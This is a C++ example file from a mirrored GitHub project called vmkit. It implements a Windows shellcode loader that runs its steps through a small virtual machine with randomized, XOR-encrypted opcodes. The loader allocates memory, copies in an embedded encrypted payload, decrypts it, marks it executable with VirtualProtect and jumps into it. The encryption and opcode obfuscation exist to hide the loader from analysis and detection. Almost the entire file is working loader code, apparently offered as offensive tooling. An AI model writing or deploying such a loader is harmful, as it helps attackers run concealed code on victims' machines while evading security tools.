mirror of
https://github.com/mochabyte0x/vmkit
synced 2026-06-21 14:00:55 +00:00
181 lines
6.8 KiB
C++
181 lines
6.8 KiB
C++
/*
|
|
BSD 2-Clause License
|
|
|
|
Copyright (c) 2026, MochaByte
|
|
|
|
Redistribution and use in source and binary forms, with or without
|
|
modification, are permitted provided that the following conditions are met:
|
|
|
|
1. Redistributions of source code must retain the above copyright notice, this
|
|
list of conditions and the following disclaimer.
|
|
|
|
2. Redistributions in binary form must reproduce the above copyright notice,
|
|
this list of conditions and the following disclaimer in the documentation
|
|
and/or other materials provided with the distribution.
|
|
|
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
*/
|
|
|
|
/*
|
|
example_loader.cpp : small Windows shellcode loader driven by vmkit.
|
|
|
|
Runs a 5-op IR program against an embedded, encrypted shellcode payload:
|
|
|
|
1. AllocRegion(r=0, size) -> VirtualAlloc(PAGE_READWRITE)
|
|
2. WritePayload(r=0, src_off, size) -> memcpy from g_ir_payload (still encrypted)
|
|
3. DecryptRegion(r=0, size) -> XOR in place with the seed-derived key
|
|
4. ProtectRX(r=0, size) -> VirtualProtect(PAGE_EXECUTE_READ)
|
|
5. ExecRegion(r=0) -> cast to fn ptr and jump
|
|
|
|
Both the bytecode (g_ir_blob) and the shellcode (g_ir_payload) come from
|
|
example_builder.cpp, which the Makefile runs against example/payload.bin to
|
|
generate example/embedded.h. So this is a real round-trip: builder reads a
|
|
raw shellcode + emits encrypted artifacts, loader includes them, decrypts,
|
|
and runs ^^.
|
|
|
|
Build:
|
|
make
|
|
*/
|
|
#include "../vm_loader.hpp"
|
|
#include "embedded.h" // generated by example_builder
|
|
|
|
#define WIN32_LEAN_AND_MEAN
|
|
#include <windows.h>
|
|
|
|
#include <array>
|
|
#include <cstring>
|
|
|
|
enum class LoaderOp : std::uint8_t {
|
|
AllocRegion = 0,
|
|
WritePayload = 1,
|
|
DecryptRegion = 2,
|
|
ProtectRX = 3,
|
|
ExecRegion = 4,
|
|
};
|
|
|
|
struct LoaderContext {
|
|
void* regions[8] = {};
|
|
};
|
|
|
|
using OpT = vmkit::Op<LoaderOp>;
|
|
|
|
template <>
|
|
struct vmkit::Handler<LoaderOp::AllocRegion> {
|
|
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
|
const std::uint32_t region_id = op.u32[0];
|
|
const SIZE_T size = static_cast<SIZE_T>(op.u64[0]);
|
|
ctx.regions[region_id] =
|
|
VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
}
|
|
};
|
|
|
|
template <>
|
|
struct vmkit::Handler<LoaderOp::WritePayload> {
|
|
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
|
const std::uint32_t region_id = op.u32[0];
|
|
const std::uint32_t size = op.u32[1];
|
|
const std::uint64_t src_off = op.u64[0];
|
|
std::memcpy(ctx.regions[region_id], g_ir_payload + src_off, size);
|
|
}
|
|
};
|
|
|
|
// Mirror of the builder's derive_key. Both sides MUST agree on this algorithm,
|
|
// otherwise decryption produces garbage and we end up jumping into nonsense.
|
|
static std::array<std::uint8_t, 32> derive_key(std::uint32_t seed) noexcept {
|
|
std::array<std::uint8_t, 32> key{};
|
|
constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'};
|
|
for (std::size_t i = 0; i < key.size(); ++i) {
|
|
key[i] = static_cast<std::uint8_t>(base[i % 6] + (seed & 0xFF) + i * 13);
|
|
}
|
|
return key;
|
|
}
|
|
|
|
template <>
|
|
struct vmkit::Handler<LoaderOp::DecryptRegion> {
|
|
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
|
const std::uint32_t region_id = op.u32[0];
|
|
const std::size_t size = static_cast<std::size_t>(op.u64[0]);
|
|
const auto key = derive_key(g_ir_seed);
|
|
vmkit::xor_codec::apply(
|
|
std::span<std::uint8_t>(static_cast<std::uint8_t*>(ctx.regions[region_id]), size),
|
|
std::span<const std::uint8_t>(key));
|
|
}
|
|
};
|
|
|
|
template <>
|
|
struct vmkit::Handler<LoaderOp::ProtectRX> {
|
|
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
|
const std::uint32_t region_id = op.u32[0];
|
|
const SIZE_T size = static_cast<SIZE_T>(op.u64[0]);
|
|
DWORD old_protect = 0;
|
|
VirtualProtect(ctx.regions[region_id], size, PAGE_EXECUTE_READ, &old_protect);
|
|
}
|
|
};
|
|
|
|
template <>
|
|
struct vmkit::Handler<LoaderOp::ExecRegion> {
|
|
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
|
|
const std::uint32_t region_id = op.u32[0];
|
|
using shellcode_fn = void (*)();
|
|
auto fn = reinterpret_cast<shellcode_fn>(ctx.regions[region_id]);
|
|
fn();
|
|
}
|
|
};
|
|
|
|
struct LoaderConfig : vmkit::DefaultConfig {
|
|
// Opcode bytes in g_ir_blob are randomized; map them back through this table.
|
|
static constexpr bool opcode_randomization = true;
|
|
// g_ir_blob itself is XOR-encrypted; decrypt_bytecode runs once before dispatch.
|
|
static constexpr bool bytecode_xor_encrypted = true;
|
|
|
|
// Inverse of the builder's forward map.
|
|
static constexpr vmkit::OpcodeReverseMap opcode_reverse_map = [] {
|
|
vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map();
|
|
m[0] = static_cast<std::uint8_t>(LoaderOp::DecryptRegion);
|
|
m[1] = static_cast<std::uint8_t>(LoaderOp::ProtectRX);
|
|
m[2] = static_cast<std::uint8_t>(LoaderOp::WritePayload);
|
|
m[3] = static_cast<std::uint8_t>(LoaderOp::ExecRegion);
|
|
m[4] = static_cast<std::uint8_t>(LoaderOp::AllocRegion);
|
|
return m;
|
|
}();
|
|
|
|
// In-place XOR with the same key the builder used.
|
|
static void decrypt_bytecode(std::span<std::uint8_t> blob,
|
|
std::uint32_t seed) noexcept {
|
|
const auto key = derive_key(seed);
|
|
vmkit::xor_codec::apply(blob, std::span<const std::uint8_t>(key));
|
|
}
|
|
};
|
|
|
|
int main() {
|
|
// Copy the encrypted bytecode from embedded.h into a mutable buffer, since
|
|
// execute() decrypts it in place.
|
|
std::array<std::uint8_t, sizeof(g_ir_blob)> blob_buf{};
|
|
std::memcpy(blob_buf.data(), g_ir_blob, sizeof(g_ir_blob));
|
|
|
|
LoaderContext ctx{};
|
|
vmkit::Vm<LoaderOp, LoaderContext, LoaderConfig,
|
|
vmkit::OpcodeList<LoaderOp::AllocRegion,
|
|
LoaderOp::WritePayload,
|
|
LoaderOp::DecryptRegion,
|
|
LoaderOp::ProtectRX,
|
|
LoaderOp::ExecRegion>> vm;
|
|
|
|
vm.execute(std::span<std::uint8_t>(blob_buf), ctx, g_ir_seed);
|
|
|
|
for (auto* p : ctx.regions) {
|
|
if (p) VirtualFree(p, 0, MEM_RELEASE);
|
|
}
|
|
return 0;
|
|
}
|